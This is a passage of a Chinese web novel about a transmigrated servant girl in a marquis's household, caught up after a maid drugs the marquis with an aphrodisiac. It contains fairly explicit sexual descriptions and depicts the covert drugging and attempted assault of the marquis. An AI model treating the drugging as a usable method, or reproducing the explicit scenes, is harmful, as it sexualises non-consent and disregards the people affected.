“是不是海棠许了你好处,所以你胆大包天到跑来小厨房下药?”连翘瞪着她。
祝谣就是见了海棠之后藏了秘密。
如今这里边的灶膛全都熄了,唯独煨着醒酒汤的炉子还烧着炭,奔着什么来的、又是要做什么,答案昭然若揭。
有戏。
祝谣心底一亮——作为家生子的连翘,照理该以侯爷为重,此刻却依旧给了她辩解的机会。
但她要直接承认吗?
祝谣抬起头,努力拿捏着惊讶中带些难堪和羞恼情绪,看向连翘。
油灯吐出昏黄的暖光,晕染在丫鬟盈润的腮颊上,将她映照得像块抹了蜜糖、烤得香酥的年糕。
连翘盯着祝谣看了好一会儿,没再逼问,却是转而要去尝尝醒酒汤。
祝谣登时抓住她的手腕:“你先听我说。”
合欢散在大康并不是什么稀罕东西,自古用来了却痴男怨女的心愿,虽不在明面上流通,但只要诚心求药,小作坊乐意成人之美,是故海棠能买到也不难。
而难的地方在于,她将药带入了府中。
不及皇宫铜墙铁壁,侯府在张总管的布置下也算护卫森严,竟然能留着药包至现在,或许……是张总管默许的?
连翘抿唇思虑了起来。
祝谣见她听了进去,又提道:“我觉得海棠会想出下药的法子,也有侯爷二十岁了还不近女色,怕是真的患了隐疾,不能人道的缘故在。”
总而言之,一切举动皆由侯爷而起,也皆有张总管经过考量的允许,她不过是顺势而为,想承个东风,即便有错,也功过相抵。
“你胡说什么呢!不可私议侯爷的事!侯爷向来康健,也有府医看顾,何来隐疾?”连翘脸蛋通红,“真是颠倒黑白!别以为搬出表叔,还有这个……就能为你下药找到个磊落的借口!”
祝谣口拙,未有反驳,只另外问道:“席散了吗?”
若没散,连翘不过是抽空出来了趟,目下也该赶回去了。
这时连翘想起自己还得去书房取笔墨,但很快地,她又想到一个问题:要是事后侯爷欲查究这下春//药的勾当,那她岂不是也要被怀疑了?
祝谣察觉到她神情的变化,开口道:“我从来没想过把你扯到这滩混水里,只想着若是海棠真得势了,我也能讨点奖赏送你,让你开心。”
“我有表叔,甚麽没见过?哪里贪你那点?”连翘恼道。
那碗醒酒汤,是否被做了手脚,都来不及验明或重新熬煮一壶相同味道的替换了,她得赶紧回去,免得愈加惹人起疑。
走之前,连翘把祝谣拉到窗边:“你从这儿进来的,便从这儿出去,快!”
祝谣听从,又翻了次窗,差点踩中撕着小鱼、趴在墙根的黑猫,它炸毛哈了口气,一跃没了影。
见人已出去,连翘立即栓上窗户,将火棍塞回
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灶洞,恢复原样,吹熄了油灯。
她拿齐侯爷要的物件便往回赶,心里头打算着,宴后立马寻表叔商量。
明鉴院,下人房。
花儿掏出偷偷藏起来的瓜子,她喜欢吃一大口瓜子仁,嚼得满齿留香,于是开始一颗颗剥壳。
房门蓦然被打开,只见小翠哼着歌回来。
花儿拢住小桌上的瓜子:“宴席结束了?”
小翠身处低位,很爱上进,即使小宴无需院里的粗使丫鬟帮忙,她也跑到灶房,混进去抢着干活。
从箱笼里翻出双绣鞋样子,小翠笑道:“瞧了出好戏。”
说完,她便埋头缝制起来,嘴角还噙着笑。
花儿多看了几眼,发现那双鞋子,原先是小翠打算送给连翘的,可自从蝉儿姐姐和连翘姐姐住到一块儿后,小翠便收起来了。
*
侯爷今日高兴,散宴后还不肯休息,此刻在里头即兴作诗,倒是便宜海棠行事。
昌安倒出醒酒汤,还是温热的,将它递给了女子。
且说海棠从张总管那儿得了口信,翻箱倒柜,连试了好几件衣裳,末了还是拣出那件水红百迭裙,对镜一照,真真是人比花娇。
“谢过小哥。”
海棠双手接过托盘,面上是难掩的激动,及至昌安推开门,半敞府中权威的具现之地时,才略显慌忙地敛起笑意。
待绕过博古架,海棠禁不住抬头,直直地瞅向裴执鹤,只见丰朗俊逸的郎君正笔走龙蛇,身姿绰约地立在桌前,饮了酒的面颊覆了层浅粉,将那浑身的清冷气儿化开了几分,显得秀色可餐。
海棠春心萌动,轻轻放下托盘,离得这般近,一双翦水秋瞳从他骨节分明的手,移到微敞的衣襟,最后徘徊在清冷的眉骨上。
她含情脉脉地端起瓷碗,置于裴执鹤眼眸能掠到的位置下:“郎君,该喝醒酒汤了。”
裴执鹤并未抬首,只接过碗,闻到是熟悉的味道,径直仰头饮尽。
海棠见他这般落拓潇洒的风姿,与往日不同,别有一番滋味,心下更是痒痒。
她在可承受的范围内,买了最好效用的合欢散,果不其然,半刻钟不到,裴执鹤浑如白玉的面容染上了酡红,呼吸愈发急促,既而似体力不支,一下跌坐在靠椅上。
海棠顺势睄了眼那处,似发大的面团一般,不断膨胀,隔着轻薄的料子,说是宛如婴儿手臂粗也不为过。
海棠双脚有些发软,装模作样唤了几声“侯爷”,得不到回应,确定裴执鹤意识已然模糊不清,遂胆大地伸手往腰间探去——
不料在离衣带还有几寸之时,她的腕子蓦然被擒住!
裴执鹤浴//火焚身,却凭着最后一丝清明,用力将意图不轨的女子摔倒在一旁,咬牙呵声道:“滚!”
5. 第五章
【珍珠顺着力道倒在了床榻上,入眼是帐顶的怪石松竹图,墨色挥就整副山水,朦胧之间,仿佛天与地、日与月都颠倒了过来。
眼睑忽而感到刺痛,原来是身上人的千绦长发沿着颈侧垂落,也一并落入了她的眼中。
珍珠挑开发丝,唯见裴执鹤眉目如画,本是谪仙般的人物,此刻眸光迷离,额间露汗,抵在她腰间的大掌滚烫炽丨热。
她的心中霎时涌起一股满足,催使着她搭上了男子的臂膀,将赤条条的自己,与他紧紧贴合在一起。】
……
这是原书里,从女主视角出发,对初次欢好的部分描写。
当耳边传来暧昧的呻丨吟,祝谣的脑中自然而然地浮现出几行文字。
系统似乎良心发现,在她完成第一个任务后,给了她翻阅原书的权限。
虽仅限前三章,形同鸡肋,但长夜漫漫,好歹能消磨点时间。
因连翘要回后巷,又有昌安被张总管安排,以防侯爷有额外的差遣,故而连翘放心地矮子里拔高个,点了祝谣代她守夜。
昌安十五六的年纪,血气方刚,此时立在檐柱旁,仅一门之隔,听到动静也是面红耳赤。
他低头忍耐,只觉呼吸不畅,抬头望月,又觉有些傻气,在眼尾的余光里瞟到祝谣一动不动安如山,偏了头,发现她的面孔上满是平静的神色,心下感到一阵佩服。
不一会儿,有一丫鬟略显焦急地碎步过来。
显然她要向昌安告知的事不算小,连门内传出的浮浪之声也没顾上,昌安见两个丫鬟都这般有定力,暗啐了自己几声。
“我来有一事拿不定主意,还需你来定夺。”丫鬟道。
昌安辨别了下她的相貌,认出她是在红萍院,即四个通房住的院落里做活的。
“什么事?”
丫鬟瞥了眼祝谣的方向,将昌安扯过几步,附耳低语了几句。
昌安听罢,脸皮绷了起来:“此事当真?你没收她好处?”
丫鬟咬了咬牙:“她给了我一根银簪,值不得多少钱,便是当打赏我还嫌少,只她口中之事确实关系侯爷,才说动我过来,否则我哪敢随意进明鉴院?”
“要想知道更多,她须您亲自去一趟。去还是不去,您且给个准信。”
昌安皱紧眉头,思忖片刻,决定还是走一遭。
临去前,向祝谣嘱咐道:“我很快会回来的,但若遇到急事,你便先去寻昌平。”
祝谣点头,没多放在心上。
她正看到原书第一章的结尾,男女主即使是在初夜,表现也不同寻凡。
两人无师自通,从床上到床榻边,由面对面更换成后趴,愈发激烈起来。
约莫一刻钟左右,裴执鹤才抽出物什,淋淋洒洒滴了一摊水渍。
“水。”
祝谣听到裴执鹤叫水,立即应声,见昌安还未回来,便自行去了小厨房,取了热水倒在桶中,再来回运了三趟,这才将浴桶里的水调到适宜的温度。
她忙得口干舌燥,办完事情,便正面朝向裴执鹤,垂首往后慢慢退去,却在半道被地上的衣裳绊了脚,整个人摔坐下去,眼中恰好闯入了床上的二人。
裴执鹤手脚极快,扯过被褥遮住双方,珍珠惊呼了下,既而裴执鹤也跟着闷哼了声。
“侯爷,您……您抓疼奴婢了。”
祝谣只求一双聋掉的耳朵。
她在裴执鹤不语,只一味喘息之中,低下头,迅速退了出去,紧闭上门扉。
祝谣回想起方才两人难舍难分的姿势,估计——果不其然,房内一阵窸窸窣窣后,荡漾的水声扬了出来。
她禁不住翻了个死鱼眼。
书中将男女主的初夜写得活色生香,读者们个个品得口齿生津,津津有味,评论区更是一片汪洋。
可放在现实中,也就是目下,她不仅得在事后处理溅出浴桶的水,而且男主至少三次起步,要是昌安还不回来,她也得运水好几个来回。
任何兴趣在变成劳作后,都会索然无味。
夜阑人静,唯有蝉鸣和月光相伴。
祝谣平日习惯早睡早起,此刻困意来袭,那接连不断的呻丨吟和锲而不舍地打桩声,仿佛催眠曲,吊灯上的烛火渐渐虚化成了光晕。
她慢慢地阖上眼皮。
身子似乎在不断往下坠,未有尽头,这种失重感令祝谣睡得不太安稳,于是她猛地沉气,一鼓作气朝下压去,俄顷屁股撞到了硬物,虽然尾椎有些胀痛,但落到实地的平稳让人感到心安。
不知睡了多久,四周蓦然嘈杂起来。
祝谣摇头晃脑地转了转眼珠,掀开眼皮,只见昌安并两个小厮正捧着桶子,欲送进房中添水。
她抹了把嘴角的口水,蹭着檐柱站起身。
忽而有个小厮脚下不稳,被门槛绊了绊,眼见着木桶要脱手倾倒,祝谣想着托他一把,却被更快一步的昌安截住,像堵墙似地隔开她伸过去的手。
“打起精神来!白日你们躲懒,我念着也无事要忙,便由着你们去了,现在侯爷等着水净身,你们若因粗心慢了手脚,仔细自己的月钱!”昌安警醒道。
小厮们不敢懈怠,挺胸抬头,鼓起腮帮子,稳步跨过门槛。
祝谣被昌安状似无意地扫了眼,心下顿觉十分不对劲。
这是在阴阳她偷懒打盹?
只不过祝谣什么也没说,既然醒了,便继续守夜。
反正她不求上进,有人干活,祝谣乐得由他们抢着在主子面前表现,自己安静本分得像樽石像。
及至花儿起床,经过正房往水池走去,祝谣才打破了沉寂,朝着昌安颔首示意,便追着去寻了人。
不一会儿,昌安就见到祝谣提着小桶和笤帚到堂前,开始洒扫,面上露出了微诧的神情,心底不禁动摇道:多老实的一个人,自她入院以来,侯爷未再挑剔过明鉴院的环境不干净,海棠莫不是狗急跳墙,随意将她攀扯了进来,好给自己开脱?
笤帚唰唰地擦过地面,说不上哪儿变了,但昌安肉眼可见,院落通透明亮许多。
祝谣净了手,回来站好最后一班岗。
她与昌安依旧无话可说。
作为侯爷的心腹,昌安平日去哪都被人高看一眼,常有推拒不了的应酬,半刻难得闲,今个却在祝谣身边落了清净,一时说不上是甚么滋味,只觉这般不亲不近、不奉承拍马,也不赖。
晨光熹微,房门朝里打开,裴执鹤仅着了件中衣出来。
趁着如此近的距离,祝谣
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多看了这个顶着“洛都最想嫁的郎君”、“宫中贵人最宠信的外戚”、“疑似好男风”等头衔的男主几眼。
——身姿挺拔,皎如玉树,眸光似寒夜的湖水,周身气质如同云巅皑雪,冷冽而深邃,的确令人望之再难忘却。
“将里面收拾干净,我回来时,不想见到任何不该出现的人。”就连嗓音,也似敲在冰棱上的雪点,带着丝丝凉意。
祝谣知道,要是她没做好这差事,她是真的要凉。
“是。”
裴执鹤半分眼神都未施舍,抬腿便走,昌安跟了上去。
祝谣兑了温水,侧身用膝盖顶开门。
一进去便闻到馥郁的石楠花味,她呕了两下,将所有朝向的窗牖皆开了半扇,待味道散得差不多时,才环顾四围,搜寻着从哪儿下手为好。
只这一眼,祝谣的目光落到了正酣睡无所知的珍珠身上。
【珍珠有一身好皮肉,肤若凝脂,吹弹可破。丰丨乳美臀,纤腰小足,无一处不完美到极点,多一分则肥腻,少一分则寻常。面如满月颊似桃,浑身如一颗饱满的荔枝,香甜诱人,鲜嫩多汁。】
当初祝谣初涉限制文,瞬间被这段文字美到心窝,不仅将它当作好词好句摘抄了下来,之后还被勾得特意买了一斤荔枝解馋。
如今她真眼看到珍珠,果然人如其名,丰腴润美。
清晨接连见到两个美人,祝谣得到了续航,于是着手拾掇。
她先是将地上的衣裳分别归拢到空盆里,又把一些七歪八扭的绣墩、桌子等摆回原位,如此背后已出了一层密汗。
单这样还不够,适才归置物件的时候,她瞟到一顶瑞兽香炉,于是添了勺松香粉并点燃,替裴执鹤提前标记上自己的味道。
祝谣复查了遍,确定一指抹过红木家具,纤尘不染,遂转移阵地,来清理床榻间的狼藉。
她润湿巾子,拧到半干不干的状态,顺着珍珠的肩头、前胸、小腹,依次往下。
中途祝谣还换了盆清水,才将将擦拭到没有残余溢出。
珍珠早在裴执鹤抽身而去时便醒了,只是她迟迟不敢睁眼,美梦似幻影,转瞬即逝。
只是有双手,轻柔得像是鹅绒拂过她的身子,搔起了一阵痒意和她后知后觉的羞意。
“麻烦你了。”
祝谣朝珍珠递上干净的衣裙,平静道:“珍珠姑娘多礼了,这是奴婢应该做的。”
“我自己来罢。”珍珠全身肌肉酸痛,撑着自己缓缓坐起身。
祝谣见她动作迟缓,搭了把手,因她没服侍过别人穿衣,也不过是抻开袖子、系个绳。
珍珠只好忍着不适和委屈穿衣,眼眶微微泛红:“侯爷……有留什么话给我吗?”
祝谣摇头:“没有。”
许是看出来祝谣的木讷,接下来珍珠不再言语,默默拾掇好自己。
将一步三回头的珍珠送走,祝谣松了口气,只觉守个夜,去了半条命。
她将脏衣裳交给负责浆洗的婆子后,打了水回耳房,简单擦过身子后,鲤鱼打挺般倒头就睡。
隐隐约约地,耳际又捕捉到嘈杂的声响,祝谣不作理会,迷迷糊糊地等着睡死过去。
然而下一刻,她整个人被大力拽了起来!
6. 第六章
难道她这个路人甲领的是抹布剧情?
祝谣脑袋晕沉沉地想着,身子却被蒲扇大的巴掌拎起,那人好似拎着一只拔了毛的长颈鸡,一路晃悠悠地把她拖到了一处地方,然后甩包袱似地扔下。
她的脸先着地,幸而垫了毛毯,所以免遭破相,只是脚踝刮得微疼。
祝谣意识清醒了点,但不多,眼皮依旧粘得严实,索性就趴着不起来,听听耳边的吵嚷。
“侯爷,人带到了!”一个婆子兴冲冲道。
海棠双膝并拢,侧歪身子,坐在地上,原本小声啜泣着,见祝谣被带了过来,生怕她先开口辩驳,当即声泪俱下道:“奴自卖时,爹爹卧病在床,经今几载,断不得药。
卖身的银钱仅够他再喝三个月,奴不偷不抢,只能想到去争侯爷的恩宠,或许侯爷会可怜和奴相依为命的爹爹,让他撑到见奴生下外孙再安心地去了。
可缘分之事强求不来,奴再着急也无用,偏巧奴藏不住心事,好的坏的都显露在脸上,蝉儿兴许瞧见了,就找上门来。
她开口便说有样好东西,能助奴实现心愿,只要事后提她当大丫鬟,奴想要多少都能弄进府。”
海棠泪眼婆娑地望向裴执鹤:“侯爷,奴、奴一时情急,受了哄骗,才犯下这错,现在诚心悔过,甘愿青灯古佛,为侯爷抄写经书,积德积福。”
美人垂泪,楚楚可怜,但在场的都是人精,没那般轻易心软,更何况裴执鹤一言未出,显然不为所动,做奴才的自然也不会没有眼力见到替她求情。
海棠唱了出独角戏,愈加觉得难堪。
恰在此时,樊婆子从祝谣的箱笼里翻出来一盒胭脂,瞧着还是天香阁的哩!
她像是找着了宝,风似地卷着物件出来,向裴执鹤献宝道:“侯爷,蝉儿一月只能拿五百文,但这盒胭脂可卖一两五百文,她哪来的银子?!”
樊婆子在明鉴院洗了十几年衣裳,虽是府中的老奴,可总入不了主子的眼,不受重用,此回终于抢到表现的机会,十分卖力。
海棠见缝插针道:“奴当初给了蝉儿二两银子,想的是她能一心为奴办事……”
樊婆子眼睛一亮:“老奴活到这把岁数,甚麽污糟的没见过,那外边最便宜的‘求子药’,就得五百文,没想到这丫头心真黑,买药剩下的钱,全自个拿去买胭脂了!”
裴执鹤虽恼怒自己遭人下药,更羞赧一个婆子口无遮拦地说这等下流事,但他清楚,事已至此,是该揪出罪魁祸首,才能解气。
他并非偏听偏信之人,眼神一落到祝谣身上,樊婆子就心领神会。
她一把拎起祝谣的半边胳膊,见人竟还闭着眼,立即抄起巴掌往脸上挥去,却在中途蓦然被拦住,只见丫头睁开了眼,眼瞳黑漆漆的,右手握紧手腕,正盯着她!
樊婆子吓得一跳,赶紧上眼药道:“侯爷,这死丫头还装睡呢!”
昌安就立在裴执鹤身后半步的位置,抬眼看到祝谣眼下的淤青,侧头又见侯爷眉头微皱,俄而向他轻声道:“侯爷在大理寺侦缉断案,常道犯者即使有重大嫌疑在身,也须在证据确凿的前提下定罪。
樊婆子也许是替侯爷着想,言行才如此有失偏颇,侯爷莫怪。”
瞧瞧,这说的甚麽话?这不就是在说她着急给蝉儿扣帽子,也很值得怀疑吗?!
樊婆子鼓圆了眼睛,登时松开钳制着祝谣的手,扮哭道:“哎呦老奴可没藏着坏心,也没那个胆子害侯爷啊!想老奴八岁就进了侯府,从洗恭桶开始……”
她嚎起来没完没了,祝谣便见裴执鹤的眉头紧锁,少了几分脱离俗世之气。
张总管打了个手势,候着的小厮们抽起腰间系的汗巾,一把团塞进樊婆子嘴里,总算还了清净。
昌安觑着裴执鹤的脸色,替他开口向祝谣问询道:“你可有话要替自己辩解?”
祝谣想了下,一字一句道:“买胭脂的二两银子,是奴婢一点点攒起来的,分别有一千四百七十二枚铜子和两颗豆大的银粒。
进去天香阁之前,奴婢从里边取了五百文出来,买了件新衣,因为奴婢怕脏了天香阁其他贵客的眼。
衣服奴婢穿过一回后,便洗好收在箱笼里,而这盒胭脂,奴婢也是留作生辰礼,所以还未用过。”
这话说得有条有理,裴执鹤难得赏了一眼到她身上。
既提到物证,裴执鹤随意指到小翠去搜祝谣的箱笼,倒是真翻出一件短衫和一条百褶裙,皆是新料子。
她捧着衣服,说了句:“依奴婢看,小厨房只有秋菊姐姐和昌安能进去,蝉儿平日就楞头楞脑的,可没本事溜进去下药。”
这话虽说得怪瞧不起人的,但也有些偏颇,故裴执鹤并未当一回事。
昌安接着问道:“那胭脂你是何时买的?”
祝谣:“三日前。”
裴执鹤当即下令道:“查清三日前是谁守门,带过来。”
侯府看大门的小厮是值五休四,如今正好是换班前一日,三日前守门且搜查过祝谣带进府的东西的小厮,很快到了侯爷跟前。
阿山回道:“那日奴才并没有从蝉儿身上搜出任何可疑的物件。”
眼见蹩脚的谎言就要被拆穿,海棠急道:“你胡说!定是你收了她的好处,然后串通好了,不然这种药怎么会流入侯府?”
张总管暗中已经观察了祝谣好一会儿了,虽然瞧着不太机灵,但嘴严,心里有秤,活计干得明白,将来连翘当管事娘子,倒是可以培养她做心腹。
他瞅准时机,上前请罪:“是奴才疏忽大意,才让此等危及侯爷康健的脏药入府,恳请侯爷惩处奴才。”
裴执鹤自不会怪他,毕竟是一直跟在他身边的老人,他信任非常,昌安和秋菊亦然,偶有疏忽是可以原谅的。
况且他大概能摸清事实真相,不外乎是海棠为了逃脱审判,故意攀扯了其他丫鬟进来,混淆视听。
只需再查查小厨房四周可有令人生疑的踪迹,若没有,便是海棠在接手醒酒汤后、奉汤给他之前,将药下进去的。
不等他吩咐下去,忽有小厮小跑至厅堂内,传道:“袁大监到了府上,正朝着这边来!”
宫中来人,便不能再继续探查自家的官司。
张总管眼睛一扫,一旁的小厮即刻上前架着海棠,要拖下去。
海棠没料到裴执鹤分明都和珍珠睡了一夜,还如此执着于一包催//情药物!
虽然知道自己难逃其咎,但是不代表她就得认命,蝉儿也不是个无辜的,于是她试着把一切过错推到那丫鬟头上。
哪想昌安和张总管被灌了迷魂汤似的,明里暗里地替她说话?若是从一开始就直接把蝉儿打为同党,引导众人去探查小厨房,岂非早就能拉个人一同受惩了?
海棠张口欲辩,却被樊婆子抽出嘴里发馊的汗巾,呸了两声,然后塞到她的口中,狠狠道:“早知你不是个好的!”
小厮拖着挣扎的海棠下去,裴执鹤长身玉立,任由秋菊替他理好仪容,又成了那个光风霁月的高岭之花。
少顷,所有人一道摆好架势,迎接太后身边的红人。
“远远地就听到一阵热闹,这是怎么一回事?”不多时,面白无须的袁大监笑吟吟踏入堂内。
祝谣是第一回见到阉人,不由多瞧了几眼。
张总管躬身回道:“只是有个丫鬟冲撞到了侯爷。”
“哦?”袁大监脸上笑意全散,“既如此,还不打顿板子发卖出去,以此警醒宁远府的其他下人?”
这下,祝谣眼观鼻,鼻观心,可不敢乱看了。
张总管微抬眼睑,目光触及袁大监几息,又收敛回去:“是。”
裴执鹤虽不满一个太监替他定夺海棠的去留,但念及袁大监的靠山是太后,只肃着脸,不置可否。
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“太后传旨,召侯爷进宫”袁大监对上裴执鹤,复换了副和蔼可亲的模样,“听闻探花郎在您府上?”
裴执鹤颔首:“延儒就住在兰羲园。”
“太后亦许多年未见他了,还请侯爷等候片时,与孟翰林一同入宫。”
*
袁大监走后,祝谣被张总管带去私下问话,连翘挨着自家表叔站着。
此地宽敞雅致,窗明几净,正是张总管在府中的住处。
宁远侯府累几世之财,不怪他想扶持自家人站稳脚跟,日后接班,好继续享用。
张总管虽坐在靠椅上,但收拢了神情,自有一股威严之气,道:“我对你做过什么,是一清二楚,只是连翘为你求情,求到了我面前,今回我给她一个面子瞒下,但下回你可就没有这种好运气了。”
祝谣在心中暗自琢磨,这是一出鸿门宴还是拜山头。
她倏地想到袁大监与张总管一触即离的眼神,也许海棠下药一事,就是宫中贵人授意,所以张总管才任她暗中四处乱跳,等事态爆发到裴执鹤面前时,再推她一人出来,承担所有后果。
黑,真是太黑了!
原来书上简单一句“裴执鹤遭海棠使药,破了多年道心”的背后,是皇权的介入、上位者的碾压和贱命如草芥的体现。
以往还未回忆起前世的记忆时,祝谣过得浑浑噩噩的,即使遇上系统,她也抱着得过且过的心态,总觉回家去便是她的退路,再不济当一辈子古人。
可袁大监轻飘飘一言,倒如当头一棒,呵醒了祝谣,她的后脊背到现下还在发凉。
海棠轻易被决定生死,难道她就不会如此吗?
祝谣无法再将周围的人简单地看作是纸片人。他们有思想,有情绪,有计谋,与真实的人并无差别。
至于张总管私底下找上了她,肯定是想彻底坐实她为自己人,祝谣能拒绝吗,当然不能,她要更加谨慎,兼之努力抱稳靠山,才能活着完成任务。
祝谣熟练地跪下:“感谢你们的大恩大德,下辈子我当牛做马,以报恩德!”
张总管感到惊愕,和表侄女对视了眼。
连翘赶忙把祝谣扯起来,说:“你还真是一根筋,说什么就信什么,以后仔细还被人骗!表叔的意思是,让你日后莫要再犯错,顺道记得我们的好就是了,哪用这么大阵仗。”
祝谣看着连翘道:“我以后只听你的话,你是为我好,我听了你的话,就不会被人骗了。”
连翘笑得露出了一旋酒窝。
张总管捋了两下短须,继续扮白脸道:“以后你须以侯爷为重,这次免了皮肉之苦,但是月钱得扣三个月的,好记住教训,永无下回再犯。”
明鉴院内管事丫鬟月钱一两多点,二等丫鬟如连翘,月钱是七百文打上,一两以下,三等丫鬟如祝谣花儿等,只有五百文。
祝谣一下被罚三个月月钱,那就是没了一两五百文,虽然此前帮着打扫兰羲园,抓了把赏钱,大概值五百个铜子,但要白打两个月的工,她想想就觉难过。
连翘破天荒地从她那张惯没甚麽情绪的脸上,瞧出一丝闷闷不乐,忖量了番,问道:“那盒胭脂你原是要送给我的吗?”
祝谣点头。
连翘哂笑了声,道:“还算你有良心。这回你替我守夜,昌安还向我夸了你几句,这样罢,日后你多为我分担点,虽不能涨月钱,但有时小厨房会温着宵夜,饿了就能吃,另外偶尔遇到侯爷心情畅快时,也能跟着得赏。”
祝谣应下,当晚又站在正房外头,挂着两眼乌青,听着房中吟哦。
裴执鹤不是洁癖吗?怎么一到快活时,就变得生龙活虎的?
她想起前三章的结尾,写道海棠买的合欢散比较劣质,会产生余毒,裴执鹤得和女主做个三天三夜才能消下去。
也就是说,祝谣还得再值守一宿,才能睡它个昏天黑地。
7. 第七章
一夜过去,东方将白。
祝谣重复了昨日的流程,洒扫、回话、清理……颇有成熟无情的打工人风范。
只是临到出去时,发生了点小意外。
祝谣手上端着木盆,便先行一步,出门直接往侧方走,正巧昌安也在朝里走,与径直向前的珍珠撞了个满怀。
相比较他们两人的手足无措,祝谣显得很是平静。
她在帮忙和旁观之外,选择了忽视,不忘向昌安表明道:“内间已打扫完毕,小哥可以验查,我在这候着。”
昌安下意识道:“好,我信你,出事了我担着。”
得了这句话,祝谣满意地走了。
今回再递脏衣服给樊婆子,她觍着脸,给祝谣说起好话:“蝉儿姑娘来了?我手劲大,洗的衣服又干净又香,假说你来月事,不小心弄脏亵裤,只要交给我就行!”
都是一个院里的同事,抬头不见低头见,既然对方抢着要干活,祝谣也不会拒绝,于是点头承了她的好意。
“欸——”樊婆子喊住祝谣,“蝉儿姑娘,就是老婆子我如今岁数大了,腰愈发觉得酸痛,要是能换个有篷遮风挡雨的活计就好了。”
这是想走她的关系,换份工作?可是她也只是个吃软饭的呀。
祝谣老实道:“我没这个本事帮你,你得去找连翘或者张总管。”
“明眼人都看得出来,连翘姑娘对你多好,准你守夜,这可是个能在主子跟前露脸的好差事!你只消替老婆子递个话,送个孝顺,老婆子以后养老的钱都给你!”樊婆子卖力道。
祝谣真诚道:“青天白日的,可别咒自己死。你想求连翘,便自己去寻,拉上我在中间,小心我给你贪完了。”
樊婆子一听,狐疑地打量起祝谣,然后闭了嘴。
祝谣与花儿在院前碰头,相伴同去厨房提早膳。
她们一路走到湖中小桥,碧波清水荡漾,徐徐清风吹拂,惬意非常。
见周围也无他人,花儿说起小翠重新拾起绣鞋缝制的事情:“……我记得很清楚,当时她说这双鞋绣好了要送给连翘姐姐,只不过后来连翘姐姐不收礼了,就不了了之。其实我说这么多,就是希望蝉儿姐姐坐稳位子,可别被小翠撬了墙角!”
祝谣问道:“原来她喜欢挨骂?”
“要是能在夏日用上厚冰,冬日用上好炭,平日还时不时有荤菜下肚,小翠巴不得挨骂呢。”花儿撇着嘴道。
祝谣心里想的是,那些荤菜,连翘几乎自己全把肉吃光,只给她喝肉汤,偶尔才让她尝尝肉滋味,吊足胃口像训狗似的。
祝谣不疾不徐地踏过一块大理石板,侧过头去看花儿,道:“那你想要这些好处吗?”
“当然想要!”花儿嘴快应了,俄而反应过来,“但是我不会和蝉儿姐姐争的!我还是有些怕连翘姐姐。”
况且每次屋里置了冰或者烧了炭的时候,祝谣都会叫她过去,所以她不需要讨连翘姐姐的欢心,便能享受到清凉和暖和,自然不会太过惦记。
祝谣颔首:“你放心,只要在府中一日,我便会牢牢地守在连翘身边,不给别人机会钻空子。”
花儿先是一愣,继而噗嗤笑出了声:“难得见蝉儿姐姐有这般鲜活气!倒不是说姐姐平日不好,只是咱俩私下相处时,我盼着蝉儿姐姐能有甚麽便说甚麽,不用非得把心事往肚里咽,这般很容易憋坏的!”
祝谣垂下眼睫,回想起自己的生父。
在她儿时,他便欠债跑了,只留下一屁股烂账给妻女。
她若是在上家门讨债的债主面前露了怯,并不会换来同情,只会被要挟签下偿还高额利息的借条。
久而久之,祝谣便养成了一副即便内心有多么丰富的活动,脸上依旧波澜不惊的性子。
当被债主举着刀在脸颊边比划,她也不会哭求一句,一副不怕死的姿态,倒是成功唬住了债主。
“好。”祝谣收起思绪,忽觉眼前的景色都明亮了些,“谢谢。”
花儿眉眼弯弯:“嘿嘿,当初我刚入府,还不熟悉府中的规矩,多亏了蝉儿姐姐,我才少走许多弯路。”
府中的大灶房,无论是铁锅还是过道,建造之际都力求突出宽敞大气。
不少婆子丫鬟离此地远的,扎张板凳,勺了饭就地吃了起来,似花儿和祝谣这般拎着食盒打饭回屋吃的,在府里称的上是讲究人。
今回她们倒是没拿一双眼从下往上睄着,有的低眉垂眼地只顾扒粥,有的递给祝谣一副笑脸,和和气气的。
王婆子膀大腰圆,上穿件赭石色窄袖褙子,绑襻膊搂起袖子,下系条围腰,虎虎生威地立在一口正咕嘟冒热气的大铁锅前。
祝谣先领了连翘的那份膳食,这才来王婆子跟前打粥。
只见她手拿一柄长勺,在锅里搅动了几下,将锅底开花的米粒、番薯块翻涌出来,眼疾手快地给祝谣盛了满满一碗。
最后王婆子还破天荒地送了碟自个泡的萝卜,切成小丁送给祝谣和花儿下粥。
祝谣这回才有点实感,原来昨日在裴执鹤亲自下场调查春//药一事入局并安全而退,似乎给其他人带来了点小小的震撼。
提着沉沉的早膳回到明鉴院,祝谣与花儿分别,回了耳房。
她依次摆好各自的膳食,相较于自己的清汤寡水,连翘那儿除了烤得暄软的饼子,另有一根细切成八块的红糖果子,一条鲜河鱼,一碗糁汤。
连翘趿着鞋坐下,祝谣的屁股才跟着粘座。
她甫坐好,便见到一双绣花鞋,图样虽不及连翘绣出来得精致华美,但也瞧得出来花了心思。
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是小翠送的?
连翘吃了口果子,顺着祝谣的视线打后看了看,了然道:“这是小翠送来的。”
她又喝了口糁汤,然后把食指抵到祝谣的额头上,使了点力往后一推,恨铁不成钢道:“你那日爬小厨房的窗,出来时被她看到了!”
“我该怎么做?”祝谣问道。
连翘神色平常道:“不是大问题,你还没那么大本事拖累我和表叔。”
眼见祝谣显然被她的话刺到,放下粥碗,连翘也发觉自己话说得伤人。
表叔私下曾提点过她,脾气直不是坏事,但是不能专往人心口上戳,否则再好的关系,久了也得分。
连翘忙道:“这没什么,小翠只是在我面前讨个请求,日后若有事帮忙,要我搭把手,不过就算我现在答应了,到时候也不一定应诺。总之她昨日没供出你来,就已经失去针对你的最佳时机了。”
她夹了最嫩的鱼腹肉放到祝谣碗中:“多吃点,补一补,熬夜伤身,你且把今日的夜守完,明日你就是睡一整天都行。”
*
珍珠收起落在祝谣背影上的目光,重新放到昌安身上,眼见他离了好几步远,有些哀戚道:“丹青和瑞香都疏远了我,现在你也要离开我吗?”
昌安警惕地掠过四周,将珍珠请了进去,阖上门道:“我回来是替侯爷拿衣裳的,时间不多。”
珍珠敛起眼泪,视线落到他的袖口,关心道:“你这处破了,我替你缝补下,就几针,要不了多久的。”
昌安不忍拒绝她带着破碎可怜的眼神,妥协了。
一刻钟后,昌安臂弯挂着衣服,手上捧着薏米南瓜粥进了书房。
裴执鹤端坐于书案前,手持一本书册,眉头微蹙,专心致志地默读。
若是忽略他颈间一直蔓延至前胸的暧昧红痕,倒是一副清高出尘的模样,但再扫过书册封面用篆体写的“道德经”三个字,当即了悟,他是强迫自己静心才读的书。
“侯爷。”昌安唤道。
裴执鹤方抬眸看去。
昌安心下一紧,及至裴执鹤问道:“怎生去了这般久?”他才呼了口气。
